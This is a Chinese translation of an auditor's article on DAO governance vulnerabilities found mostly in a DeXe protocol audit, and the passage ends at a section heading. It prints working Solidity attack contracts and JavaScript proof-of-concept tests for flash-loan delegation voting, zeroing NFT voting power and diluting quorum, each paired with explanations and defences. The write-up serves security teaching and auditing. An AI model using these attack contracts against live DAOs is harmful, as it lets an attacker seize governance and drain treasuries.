DAO治理中的DeFi攻击

  • Dacian
  • 发布于 2023-11-11 11:10
  • 阅读 29

本文深入探讨了去中心化自治组织(DAO)中常见的安全漏洞,包括利用闪电贷操纵提案结果、攻击者摧毁用户投票权、通过减少总投票权放大个人投票权、提案创建时快照总投票权不准确、无法达到法定人数以及利用委托金库投票权获取更多委托金库投票权等。文章还讨论了通过委任绕过投票限制、多次使用相同代币投票的风险,并提出了智能合约审计师可以使用的启发式方法来发现类似漏洞。

去中心化自治组织 (DAO) 促进了一种新的链上分布式治理形式,参与者可以提出、投票和执行提案。DAO 投票通常通过 ERC20 和 ERC721 代币进行,提案通常涉及 DAO 货币资本的分配。

虽然链上治理提高了投票运作方式和选举结果计算的透明度,但它也为创造性利用提供了一个很大的攻击面。尽管 DAO 系统在功能和实现上可能差异很大,但它们可能包含几个常见的漏洞,所有智能合约开发者和审计人员都应该意识到这些漏洞。

使用 闪电贷 来决定提案

由于 DAO 投票通常使用 ERC20 和 ERC721 代币实现,因此增加投票权的主要方式是从去中心化交易所或 DAO 的代币销售提案中购买更多投票代币。当有足够的用户对提案进行投票时,就会达到“法定人数”,并决定提案的结果。这种因素的结合使得攻击者可以使用 闪电贷 来决定提案的结果,方法是:

  • 借入大量投票代币

  • 使用借来的代币进行投票,立即决定提案的结果

  • 取回投票代币,并偿还 闪电贷

这种攻击通过攻击合约在一次交易中执行,并通过允许攻击者决定提案的结果来完全颠覆投票系统,即使他们没有经济实力这样做。虽然这是一个毁灭性的攻击途径,但它也是众所周知的,实施投票系统的 DAO 创建了保护措施来防止这种类型的攻击,例如:

  • 强制投票者“锁定”他们的投票代币

  • 不允许在同一区块内锁定/解锁投票代币

  • 不允许提案在同一区块内从“投票中”状态更改为“成功/失败”状态

审计人员和黑客在攻击 DAO 治理投票系统时面临的挑战是找到创造性的方法来绕过此类 闪电贷 保护缓解措施,方法是:

  • 以开发者未预期的方式使用系统的其他组件

  • 在智能合约的有限状态机中找到漏洞,例如意外/未经检查的状态转换,这些转换允许状态之间进行不应允许的转换

Cyfrin 的 DeXe 协议审计中,我们能够成功地通过利用委托投票绕过所有现有的 闪电贷 缓解措施,该功能允许用户将其投票委托给其他用户。我们的攻击使用了 2 个合约 Master & Slave:

  • Master 接受 闪电贷,将其存入 DAO 以获得投票权,并将投票权委托给 Slave

  • Slave 对提案进行投票,该提案立即达到法定人数并变为 Locked;Slave 本身没有投票权,只有来自 Master 的委托投票权

  • 即使已经达到法定人数并且提案现在处于 Locked 状态,Master 也可以立即从 Slave 取消委托,取回他们的代币并偿还 闪电贷;这是我们在 DeXe 的状态机中发现的一个主要漏洞,我们利用了这个漏洞

整个攻击发生在一次交易中,该交易由对 Master 智能合约攻击函数 FlashDelegationVoteAttack::attack() 的调用发起:

contract FlashDelegationVoteAttack {
    //
    // 攻击合约的工作原理:
    //
    // 1) 使用闪电贷获取大量的投票代币
    //    (调用者在调用之前将代币转账到合约以简化 PoC)
    // 2) 将投票代币存入 GovPool
    // 3) 将投票权委托给 slave 合约
    // 4) slave 合约使用委托的权力进行投票
    // 5) 提案立即达到法定人数并进入 Locked 状态
    // 6) 从 slave 合约取消委托投票权
    //    因为取消委托在 Proposal 处于 locked 状态时有效
    // 7) 在提案仍处于 Locked 状态时从 GovPool 中取回投票代币
    // 8) 全部在 1 个 txn 中
    //

    function attack(address govPoolAddress, address tokenAddress, uint256 proposalId) external {
        // 验证攻击合约是否包含投票代币
        IERC20 votingToken = IERC20(tokenAddress);

        uint256 votingPower = votingToken.balanceOf(address(this));
        require(votingPower > 0, "AttackContract: need to send tokens first");

        // 创建 slave 合约,该合约将被委托,
        // 将执行实际的投票
        FlashDelegationVoteAttackSlave slave = new FlashDelegationVoteAttackSlave();

        // 将我们的代币存入 govpool
        IGovPool govPool = IGovPool(govPoolAddress);

        // 首先要 approval
        (, address userKeeperAddress, , , ) = govPool.getHelperContracts();
        votingToken.approve(userKeeperAddress, votingPower);

        // 然后进行实际的存款
        govPool.deposit(address(this), votingPower, new uint256[](0));

        // 验证攻击合约是否没有代币
        require(
            votingToken.balanceOf(address(this)) == 0,
            "AttackContract: balance should be 0 after depositing tokens"
        );

        // 将我们的投票权委托给 slave
        govPool.delegate(address(slave), votingPower, new uint256[](0));

        // slave 进行实际的投票
        slave.vote(govPool, proposalId);

        // 验证提案现在处于 Locked 状态,因为已达到法定人数
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal didn't move to Locked state after vote"
        );

        // 从 slave 合约取消委托我们的投票权
        govPool.undelegate(address(slave), votingPower, new uint256[](0));

        // 取出我们的代币
        govPool.withdraw(address(this), votingPower, new uint256[](0));

        // 验证攻击合约是否已取出委托投票中使用的所有代币
        require(
            votingToken.balanceOf(address(this)) == votingPower,
            "AttackContract: balance should be full after withdrawing"
        );

        // 验证提案是否仍处于 Locked 状态
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal should still be in Locked state after withdrawing tokens"
        );

        // 攻击合约现在可以偿还闪电贷
    }
}

contract FlashDelegationVoteAttackSlave {
    function vote(IGovPool govPool, uint256 proposalId) external {
        // slave 没有投票权,因此投票为 0,这将自动
        // 使用委托的投票权
        govPool.vote(proposalId, true, 0, new uint256[](0));
    }
}

为了防止这种攻击,开发者可以实施防御措施,例如:

  • 确保提案收到委托投票且达到法定人数但尚未过渡到最终状态时,无法取消委托

  • 防止来自同一地址的委托/取消委托和存款/取款交易在同一区块中进行

开发者应该清楚地意识到,他们添加到 DAO 投票系统的任何高级功能都会为攻击者创造额外的攻击面。审计人员应仔细检查投票系统的高级功能,以查看是否可以利用它来绕过 闪电贷 缓解措施并执行这种毁灭性攻击。更多示例:[ 1, 2, 3, 4]

攻击者破坏用户投票权

由于 DAO 中的投票权通常通过 ERC20 和 ERC721 代币实现,因此任何窃取或销毁用户代币的攻击都会破坏投票权。然而,这种漏洞通常不存在于大多数生产级系统中,因为它们通常在私人审计和智能合约审计竞赛中很容易被识别。

但是,更微妙的漏洞可能存在于投票权计算算法中,尤其是在高级投票系统中,其中代币的投票权可以随时间动态变化。在 Cyfrin 的 DeXe 协议审计中,我们观察到 ERC721Power 合约包含一个轻微的差异,攻击者可以利用该差异来对抗投票权计算算法,从而破坏所有单个 NFT 的投票权和合约的总投票权,将它们全部设置为 0。

ERC721Power 有一个“设置”阶段,在该阶段创建和配置 NFT,但实际的投票权计算直到给定的 powerCalcStartTimestamp 才开始。两个关键函数之间对此检查的实现方式存在轻微差异[ 1, 2]:

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    // @audit 当
    // block.timestamp == powerCalcStartTimestamp 时,执行始终返回 0
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;

function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    // @audit 当
    // block.timestamp == powerCalcStartTimestamp 时,允许继续执行
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }
    // @audit getNftPower() 在
    // block.timestamp == powerCalcStartTimestamp 时返回 0
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit 由于这是自启动 power 以来的第一次更新
    // 计算,totalPower 将
    // 减去 NFT 的最大 power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit totalPower += 0 (newPower = 上行的 0)
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    // @audit 将 NFT 的当前 power 设置为 0
    nftInfo.currentPower = newPower;
}

我们可以通过一个创造性的、无需许可的攻击合约来利用这种差异,从而完全破坏所有 NFT 持有者的投票权:

contract ERC721PowerAttack {
    // 此攻击可以将 ERC721Power::totalPower 减少到零,减少量为所有
    // 存在的 power NFT 的真正最大 power(到零),无论谁拥有它们,并将所有
    //  NFT 的当前 power 设置为零,从而完全破坏 ERC721Power 合约。
    //
    // 此攻击仅在 block.timestamp == nftPower.powerCalcStartTimestamp 时有效
    // 因为它利用了 getNftPower() 和 recalculateNftPower() 之间的差异:
    //
    // getNftPower() 在 block.timestamp <= powerCalcStartTimestamp 时返回 0
    // recalculateNftPower 在 block.timestamp < powerCalcStartTimestamp 时返回 0
    function attack(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // 验证攻击是否在正确的区块开始
        require(
            block.timestamp == nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"
        );

        // 验证 totalPower() 在起始区块是否正确
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // 为每个 NFT 调用 recalculateNftPower(),这会:
        // 1) 将 ERC721Power::totalPower 减少该 NFT 的最大 power
        // 2) 将该 NFT 的 currentPower 设置为 0
        for (uint256 i = 1; i <= lastTokenId; ) {
            require(
                nftPower.recalculateNftPower(i) == 0,
                "ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"
            );

            unchecked {
                ++i;
            }
        }

        require(
            nftPower.totalPower() == 0,
            "ERC721PowerAttack: after attack finished totalPower should equal 0"
        );
    }
}

智能合约审计人员应仔细检查投票权计算算法,以查看是否可以创造性地利用它们来破坏用户投票权。更多示例:[ 1]

通过减少总投票权来放大个人投票权

任何单个人的投票权通常除以总投票权;如果攻击者可以人为地减少总投票权,他们就可以人为地增加个人投票权,从而使任何单个人或小集体更容易达到法定人数并决定任何提案的结果。

从理论上讲,总投票权等于所有个人投票权的总和,但为了可扩展性和 Gas 效率,总投票权通常不会以这种方式计算,而是存储在单独的存储槽中,并随着个人投票权的变化而递增更新。这引入了一种可能性,即通过一种创造性的攻击途径,攻击者可以修改总投票权存储槽,而不修改个人投票权。

在 Cyfrin 的 DeXe 协议审计中,我们观察到我们可以使用不存在的 tokenId 调用 ERC721Power::recalculateNftPower()getNftPower() 函数,令人惊讶的是,这不会回滚也不会返回 0,但 getNftPower() 会为不存在的 tokenId 返回 > 0 的值:

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;
    }

    // @audit 不存在的 tokenId 为 0
    uint256 collateral = nftInfos[tokenId].currentCollateral;

    // 根据 NFT 的抵押品计算可能的最小 power
    // @audit 为不存在的 tokenId 返回默认的 maxPower
    uint256 maxNftPower = getMaxPowerForNft(tokenId);
    uint256 minNftPower = maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));
    minNftPower = maxNftPower.min(minNftPower);

    // 获取上次更新和当前 power。或者,如果是第一次迭代,则将它们设置为默认值
    // @audit, 不存在的 tokenId 的两项均为 0
    uint64 lastUpdate = nftInfos[tokenId].lastUpdate;
    uint256 currentPower = nftInfos[tokenId].currentPower;

    if (lastUpdate == 0) {
        lastUpdate = powerCalcStartTimestamp;
        // @audit currentPower 设置为 maxNftPower
        // 即使对于不存在的 tokenId,这只是默认的 maxPower!
        currentPower = maxNftPower;
    }

    // 计算减少量
    uint256 powerReductionPercent = reductionPercent * (block.timestamp - lastUpdate);
    uint256 powerReduction = currentPower.min(maxNftPower.percentage(powerReductionPercent));
    uint256 newPotentialPower = currentPower - powerReduction;

    // @audit 返回来自不存在的 tokenId 的 maxPower 略微减少的 newPotentialPower
    if (minNftPower <= newPotentialPower) {
        return newPotentialPower;
    }

    if (minNftPower <= currentPower) {
        return minNftPower;
    }

    return currentPower;
}

发生这种情况时,后续 recalculateNftPower() 的行为会导致 totalPower 净减少:

function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }

    // @audit 不存在的 tokenId 的 newPower > 0
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit 由于这是自
    // tokenId 不存在以来的第一次更新,totalPower 将
    // 减去 NFT 的 max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit 然后 totalPower 增加 newPower,其中:
    // 0 < newPower < maxPower,因此 totalPower 净减少
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    nftInfo.currentPower = newPower;
}

我们可以通过一个创造性的、无需许可的攻击合约来利用此行为,从而在保留个人用户投票权的同时,显着降低总投票权,从而显着人为地提高个人投票权:

contract ERC721PowerAttack {
    // 此攻击可以将 ERC721Power::totalPower 减少到接近 0
    //
    // 此攻击在 block.timestamp > nftPower.powerCalcStartTimestamp 时有效
    // 通过利用为不存在的 NFT 调用 recalculateNftPower
    function attack2(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId,
        uint256 attackIterations
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // 验证攻击是否在正确的区块开始
        require(
            block.timestamp > nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack2 requires block.timestamp > nftPower.powerCalcStartTimestamp"
        );

        // 验证 totalPower() 在起始区块是否正确
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // 输出攻击前的 totalPower
        console.log(nftPower.totalPower());

        // 持续为不存在的 NFT 调用 recalculateNftPower()
        // 这每次都会降低 ERC721Power::totalPower()
        // 由于下溢,无法将其设为 0,但可以足够接近
        for (uint256 i; i < attackIterations; ) {
            nftPower.recalculateNftPower(++lastTokenId);
            unchecked {
                ++i;
            }
        }

        // 输出攻击后的 totalPower
        console.log(nftPower.totalPower());

        // 原始 totalPower : 10000000000000000000000000000
        // 当前 totalPower : 900000000000000000000000000
        require(
            nftPower.totalPower() == 900000000000000000000000000,
            "ERC721PowerAttack: after attack finished totalPower should equal 900000000000000000000000000"
        );
    }
}

智能合约审计员应仔细检查投票权计算算法,以查看是否可以创造性地利用它们来在保留个人用户投票权的同时降低总投票权,从而显着人为地提高个人投票权。更多示例:[ 1]

提案创建快照不正确的总投票权

一些 DAO 投票协议会拍摄用户投票权的快照,以便用户只能使用他们在当时拥有的代币进行投票;获取更多代币或尝试使用 闪电贷 将没有任何效果。

在这些系统中发生的常见错误是未在快照中正确保存总投票权。根据不正确的值是小于还是大于实际值,这可以人为地放大或减少用户投票权。

审计员和攻击者应警惕投票权可以动态更改的投票系统;其中一个代币可以代表多个投票,并且可以增加或减少此值。根据操作顺序,此类系统在拍摄快照时很容易进入违反不变量的状态,从而导致快照的总投票权与个人投票权的总和不符。

在 Cyfrin 的 DeXe 协议智能合约审计中,我们注意到:

  • ERC721Power NFT 投票合约对单个 NFT 具有动态变化的投票权;除非用户已存入其 NFT 所需的抵押品,否则投票权会随着时间的推移而减少

  • 在此合约的单元测试中,一个名为 updateNftPowers() 的函数在快照创建之前被调用,但在实际协议代码中,从未调用此函数,并且此函数在具有数千个投票 NFT 的真实世界系统中也不可扩展

  • 在协议代码中,在创建提案时,快照正在读取直接来自存储的 ERC721Power::totalPower,而不确保该值为最新:

function createNftPowerSnapshot() external override onlyOwner returns (uint256) {
    IERC721Power nftContract = IERC721Power(nftAddress);
    if (address(nftContract) == address(0)) {return 0;}

    uint256 currentPowerSnapshotId = ++_latestPowerSnapshotId;
    uint256 power;

    if (_nftInfo.isSupportPower) {
        // @audit 直接从存储中读取总 power,而不确保
        //  在拍摄快照时已重新计算单个 NFT 的 power,导致使用过时的总投票 power 创建提案
        // 当使用 ERC721Power NFT 时
        power = nftContract.totalPower();
    } else if (_nftInfo.totalSupply == 0) {power = nftContract.totalSupply();
    } else {power = _nftInfo.totalSupply;}

    nftSnapshot[currentPowerSnapshotId] = power;

    return currentPowerSnapshotId;
}

快照值随后在计算单个 NFT 的投票权时用作除数;陈旧的较大除数将不正确地减少单个 NFT 的投票权,而陈旧的较小除数将不正确地放大单个 NFT 的投票权。

审计员应验证在快照创建时总投票权的总和是否与单个用户的投票权匹配,特别注意动态计算的投票权如何随时间变化以及在拍摄投票权快照时发生的操作顺序。更多示例:[ 1, 2]

无法达到法定人数

由于 DAO 依靠通过提案来促进 DAO 活动,包括分配 DAO 的货币资本,因此 DAO 永远不应进入永久无法达到法定人数的状态。对于使用具有固定投票权的 ERC20 代币(例如,1 个代币 = 1 票)的更简单的 DAO 来说,这种状态可能无法达到,但它可能会在高级 DAO 中表现出来,这些 DAO 可以通过 ERC20 和 ERC721 代币进行投票,并具有动态投票权计算功能。

在 Cyfrin 的 DeXe 协议审计中,同时支持使用 ERC20 和 ERC721 代币进行投票; ERC721 合约在初始化时被分配一个固定的 totalPowerInTokens 金额,然后将其添加到 ERC20 totalSupply,并在确定是否达到法定人数时用作分母

// @audit 在 _quorumReached() 的分母中使用
// 返回 ERC20::totalSupply() 加上分配给 NFT 投票合约的固定金额
// totalPowerInTokens
function getTotalVoteWeight() external view override returns (uint256) {
    address token = tokenAddress;

    return
        (token != address(0) ? IERC20(token).totalSupply().to18(token.decimals()) : 0) +
        _nftInfo.totalPowerInTokens;
}

function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
    (, address userKeeperAddress, , , ) = IGovPool(address(this)).getHelperContracts();

    return
        PERCENTAGE_100.ratio(
            core.votesFor + core.votesAgainst,
        // @audit 法定人数计算的分母为
        // ERC20::totalSupply() + totalPowerInTokens
            IGovUserKeeper(userKeeperAddress).getTotalVoteWeight()
        ) >= core.settings.quorum;
}

这个想法是,NFT 合约共同控制固定数量的 ERC20 代币,这样当 NFT 持有者投票时,他们会影响这固定数量的 ERC20 代币的投票分配。

但是,如果拥有它们的用户的 NFT 持有者没有存入所需的抵押品,则 ERC721Power NFT 会随着时间的推移而失去投票权。如果所有 NFT 都失去所有投票权,这会导致 ERC721Power::totalPower() == 0 的状态,但 totalPowerInTokens > 0,因为它是静态的且从不更新。

达到此状态的后果是,在计算是否已达到法定人数时,即使 NFT 合约已失去所有投票权,ERC20 代币的投票权也会因 totalPowerInTokens 而被不正确地稀释。这可能导致无法达到法定人数的状态,我们已通过在我们的 PoC 中模拟此方案来证明这一点:

it("审计法定人数分母中的静态 GovUserKeeper::_nftInfo.totalPowerInTokens 可能会错误地导致无法达到法定人数", async () => {
    // NFT power 计算开始的时间
    let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

    // 需要我们在以太币返回的输出上调用 .toFixed()
    ERC721Power.numberFormat = "BigNumber";

    // ERC721Power.totalPower 应该为零,因为尚未创建任何 NFT
    assert.equal((await nftPower.totalPower()).toFixed(), "0");

    // 因此提案不需要提交给验证器
    await changeInternalSettings(false);

    // 将 nftPower 设置为投票 NFT
    // 需要在 GovUserKeeper::setERC721Address() 中注释掉阻止更新现有
    // NFT 地址的检查
    await impersonate(govPool.address);
    await userKeeper.setERC721Address(nftPower.address, wei("190000000000000000000"), 1, { from: govPool.address });

    // 创建一个新的 VOTER 帐户并为他们铸造唯一的 power NFT
    let VOTER = await accounts(10);
    await nftPower.safeMint(VOTER, 1);

    // 切换为使用新的 ERC20 代币进行投票;让我们
    // 准确控制谁拥有什么投票权,而无需担心
    // 之前的设置做了什么
    // 需要注释掉 GovUserKeeper::setERC20Address() 中的 require 语句
    let newVotingToken = await ERC20Mock.new("NEWV", "NEWV", 18);
    await impersonate(govPool.address);
    await userKeeper.setERC20Address(newVotingToken.address, { from: govPool.address });

    // 为 VOTER铸造一些代币,这些代币与他们的 NFT 结合在一起,足以
    // 达到法定人数
    let voterTokens = wei("190000000000000000000");
    await newVotingToken.mint(VOTER, voterTokens);
    await newVotingToken.approve(userKeeper.address, voterTokens, { from: VOTER });
    await nftPower.approve(userKeeper.address, "1", { from: VOTER });

    // VOTER 存入他们的代币和 NFT 以拥有投票权
    await govPool.deposit(VOTER, voterTokens, [1], { from: VOTER });

    // 前进到 NFT power 计算开始的近似时间
    await setTime(powerNftCalcStartTime);

    // 在 power 计算开始后验证 NFT power
    let nftTotalPowerBefore = "900000000000000000000000000";
    assert.equal((await nftPower.totalPower()).toFixed(), nftTotalPowerBefore);

    // 创建一个提案,该提案拍摄当前 NFT power 的快照
    let proposal1Id = 2;

    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
    );

    // 投票第一项提案
    await govPool.vote(proposal1Id, true, voterTokens, [1], { from: VOTER });

    // 提前时间以允许提案状态更改
    await setTime((await getCurrentBlockTime()) + 10);

// 验证提案是否已达到法定人数; // VOTER的 tokens & nft 是否足以达到法定人数 assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

// 提前时间;由于VOTER的nft没有抵押品 // 它的权力将递减至零 await setTime((await getCurrentBlockTime()) + 10000);

// 为nft调用ERC721::recalculateNftPower(),这将使用实际的当前总权力更新 // ERC721Power.totalPower await nftPower.recalculateNftPower("1");

// 验证真正的totalPower是否已递减至零,因为nft // 失去了所有权力,因为它没有存入抵押品 assert.equal((await nftPower.totalPower()).toFixed(), "0");

// 创建第二个提案,该提案拍摄当前nft权力的快照 let proposal2Id = 3;

await govPool.createProposal( "example.com", [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]], [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]] );

// 对第二个提案进行投票 await govPool.vote(proposal2Id, true, voterTokens, [1], { from: VOTER });

// 提前时间以允许提案状态更改 await setTime((await getCurrentBlockTime()) + 10);

// 验证提案尚未达到法定人数; // 即使VOTER拥有ERC20投票Token的100%供应, // 由于错误地稀释了VOTER的权力,现在也无法达到法定人数 // ERC20Token正在通过法定人数计算分母,假设nft仍然具有投票权。 // // 这是不正确的,因为nft已失去所有权力。 根本原因 // 是GovUserKeeper::_nftInfo.totalPowerInTokens,它是静态的 // 但在计算是否达到法定人数时,会用在分母中 assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.Voting); });


智能合约审计员和开发人员应确保DAO不会进入永久无法达到法定人数的状态。审计员应特别注意法定人数计算分母中使用的哪些元素,这些元素代表总投票权,特别是如果这是由多种Token类型和动态改变非线性投票权的功能组成。 更多示例:\[ [1](https://solodit.xyz/issues/h-06-ethcrowdfundbasesol-totalvotingpower-is-increased-too-much-in-the-_finalize-function-code4rena-partydao-party-protocol-versus-contest-git)\]

### 使用委托的**财政**投票权来获得更多的委托的**财政**投票权

高级 DAO 允许提案指定用户为专家,这些专家直接从 DAO 的**财政**部门获得委托的投票权;这种**财政**部门委托的权力不应由收到它的专家用户转让,专家用户也不应能够将它进一步委托给其他用户。

还应禁止专家用户使用此委托的**财政**投票权来投票 [给自己更多的委托的**财政**投票权](https://solodit.xyz/issues/users-can-use-delegated-treasury-voting-power-to-vote-on-proposals-that-give-them-more-delegated-treasury-voting-power-cyfrin-none-cyfrin-dexe-markdown),或者投票删除它。 这些禁令确保专家完全在 DAO 集体的良好意愿下行使他们委托的**财政**权力,DAO 集体仍然是 DAO **财政**部门及其投票权的主权保管人。 更多示例:\[ [1](https://solodit.xyz/issues/h01-the-approver-role-can-prevent-their-own-removal-openzeppelin-celo-contracts-audit-markdown)\]

### 通过委托绕过投票限制

在 Cyfrin 的 DeXe 协议审计中,我们发现 DeXe 包含一项功能,允许提案创建者禁止某些用户对提案进行投票。 然而,这很容易 [通过委托机制绕过,方法是将投票权委托给被禁止用户控制的从属地址](https://solodit.xyz/issues/attacker-can-use-delegation-to-bypass-voting-restriction-to-vote-on-proposals-they-are-restricted-from-voting-on-cyfrin-none-cyfrin-dexe-markdown),并让从属地址以被禁止用户委托投票的全部权力进行投票:

```lang-javascript
it("audit bypass user restriction on voting via delegation", async () => {
let votingPower = wei("100000000000000000000");
let proposalId = 1;

// 创建一个提案,其中限制 SECOND 投票
await govPool.createProposal(
"example.com",
[[govPool.address, 0, getBytesUndelegateTreasury(SECOND, 1, [])]],
[]
);

// 如果 SECOND 尝试直接投票,则会失败
await truffleAssert.reverts(
govPool.vote(proposalId, true, votingPower, [], { from: SECOND }),
"Gov: user restricted from voting in this proposal"
);

// SECOND 还有另一个他们控制的地址 SLAVE
let SLAVE = await accounts(10);

// SECOND 将他们的投票权委托给 SLAVE
await govPool.delegate(SLAVE, votingPower, [], { from: SECOND });

// SLAVE 对提案进行投票; 由于 SLAVE 没有
// 个人投票权,只有来自 SECOND 的委托权力,因此投票“0”
await govPool.vote(proposalId, true, "0", [], { from: SLAVE });

// 验证 SLAVE 的投票
assert.equal(
(await govPool.getUserVotes(proposalId, SLAVE, VoteType.PersonalVote)).totalRawVoted,
"0" // 个人投票保持不变
);
assert.equal(
(await govPool.getUserVotes(proposalId, SLAVE, VoteType.MicropoolVote)).totalRawVoted,
votingPower // 现在包含来自 SECOND 的委托投票
);
assert.equal(
(await govPool.getTotalVotes(proposalId, SLAVE, VoteType.PersonalVote))[0].toFixed(),
votingPower // 现在包含来自 SECOND 的委托投票
);

// SECOND 能够滥用委托来投票他们被
// 限制投票的提案。
});

智能合约审计员和 DAO 治理协议开发人员应意识到任何用户都可以控制无限数量的地址,并且诸如委托之类的高级功能可用于绕过某些用户可能受到的限制和禁止。

多次使用相同的Token进行投票

如果用户可以使用相同的 ERC20 或 ERC721 Token进行多次投票,那么即使投票权小的用户也可以决定任何提案的结果。 DAO 可以实施一个简单的检查来抵消这一点,即允许用户每个提案只能投票一次,并要求他们取消现有的投票才能再次对同一提案进行投票。 这可以通过用户投票然后 将其Token 转移到他们控制的另一个地址,从该地址再次投票并重复此过程直到达到法定人数来绕过。 实际上,我 报告了这个确切的问题 在一个实时的智能合约中:

function voteOnProposal(uint256 _proposalId, bool _pass) external nonReentrant {
// @audit 合约被禁止投票阻止闪电贷利用
require(msg.sender == tx.origin, "contracts cannot vote");
require(activeProposals.contains(_proposalId), "invalid proposal");

// @audit 强制执行投票所需的最低Token持有量
require(checkVoteEligible(msg.sender), "Ineligible");

Proposal storage proposal = proposals[_proposalId];
ProposalVoters storage proposalVoter = proposalVoters[_proposalId];

// @audit 防止同一地址多次投票
require(!proposalVoter.voters.contains(msg.sender), "already voted");
proposalVoter.voters.add(msg.sender);

// @audit 没有Token锁定或快照机制。 同一地址
// 可以通过将其Token转移到他们控制的其他地址来使用相同的Token拥有无限的投票权
// 并使用那些地址进行投票。 由于用户可以控制无限数量的
// 地址,任何用户都可以不断地循环使用相同的Token到
// 拥有无限的投票权并决定任何提案
if(_pass){
proposal.voteFor += TOKEN.balanceOf(msg.sender);
proposalVoter.voteToPass[msg.sender] = true;
} else {
proposal.voteAgainst += TOKEN.balanceOf(msg.sender);
proposalVoter.voteToPass[msg.sender] = false;
}
emit Voted(msg.sender, _proposalId, _pass);
}

为了抵消Token转移,一些 DAO 实施了投票权快照,以便用户只能使用他们在创建提案时拥有的Token进行投票。 其他不想实施此约束的 DAO 通常会实施一种锁定机制,一旦用户使用其Token进行投票,这些Token将被锁定,以便在决定提案结果之前,它们无法转移给其他用户。

即使实施了用于投票的锁定机制,对于诸如否决之类的类似操作,也可能存在相同的漏洞; 可能 多次使用相同的Token否决提案,仅仅是因为开发人员没有想到实施他们为投票实施的相同锁定机制。

如果实施了投票委托,用户还可以 通过自我委托将其投票权翻倍。 投票权的自我委托几乎应该总是被禁止,因为它没有多大意义并且容易被利用。 更多示例:[ 1, 2, 3, 4, 5, 6, 7, 8]

投票Token永远锁定在没有截止日期的提案中

为了防止使用相同的Token在同一提案上多次投票,通常会实施某种Token锁定方法,以便已对有效提案进行投票的用户无法撤回或转移这些Token,直到该提案已决定。 如果提案没有到期截止日期,它们可以永远保持有效,因为可能永远无法达到法定人数; 这会导致一种状态,其中 选民的Token将被永无止境的提案永久锁定

DAO 投票系统应实施提案截止日期,以便如果在某个未来的时间戳之前未达到法定人数,提案将通过移动到“失败”的结束状态而过期,从而允许选民解锁其投票Token。 更多示例:[ 1]

在 DAO 铸造投票Token之前,任何人都可以通过提案

DAO 投票Token最初可以通过多种方式分发; 创建 DAO 时,可能不一定同时创建投票Token。 因为可能存在一段时间内没有投票Token,所以在实施提案创建,法定人数和执行的检查时必须特别小心,以确保攻击者在此期间无法操纵 DAO。

检查这三个检查的 提案创建法定人数 & 执行

// @audit 提案创建检查
function submitProposal(
Instruction[] calldata instructions_,
bytes32 title_,
string memory proposalURI_
) external {
// @audit 在投票Token被铸造之前:
// 0 * 10000 < 0
// 0 < 0 => false
// 无法恢复,允许提案创建
// 当没有铸造投票Token时
if (VOTES.balanceOf(msg.sender) * 10000 < VOTES.totalSupply() * SUBMISSION_REQUIREMENT)
revert NotEnoughVotesToPropose();

// @audit 提案法定人数检查
function activateProposal(uint256 proposalId_) external {
// @audit 在投票Token被铸造之前:
// 0 * 100 < 0 * ENDORSEMENT_THRESHOLD
// 0 < 0 => false
// 无法恢复,允许达到法定人数
// 当没有铸造投票Token时
if ((totalEndorsementsForProposal[proposalId_] * 100) <
VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
) {
revert NotEnoughEndorsementsToActivateProposal();
}

// @audit 提案执行检查
function executeProposal() external {
// @audit netVotes = 0 - 0 = 0 在投票Token被铸造之前
uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] -
noVotesForProposal[activeProposal.proposalId];

// @audit 在投票Token被铸造之前:
// 0 * 100 < 0 * EXECUTION_THRESHOLD
// 0 < 0 => false
// 无法恢复,允许提案执行
// 当没有铸造投票Token时
if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) {
revert NotEnoughVotesToExecute();
}

这些检查未能考虑到铸造投票Token之前的状态。 这意味着 在铸造投票Token之前,任何人都可以创建,通过并执行任何提案,从而可能能够耗尽 DAO 的任何已存入的启动资金或操纵 DAO 设置。

DAO 协议开发人员和智能合约审计员应确保投票系统在边缘情况下(例如铸造投票Token之前)正常运行。

攻击者可以从Token销售提案中窃取Token

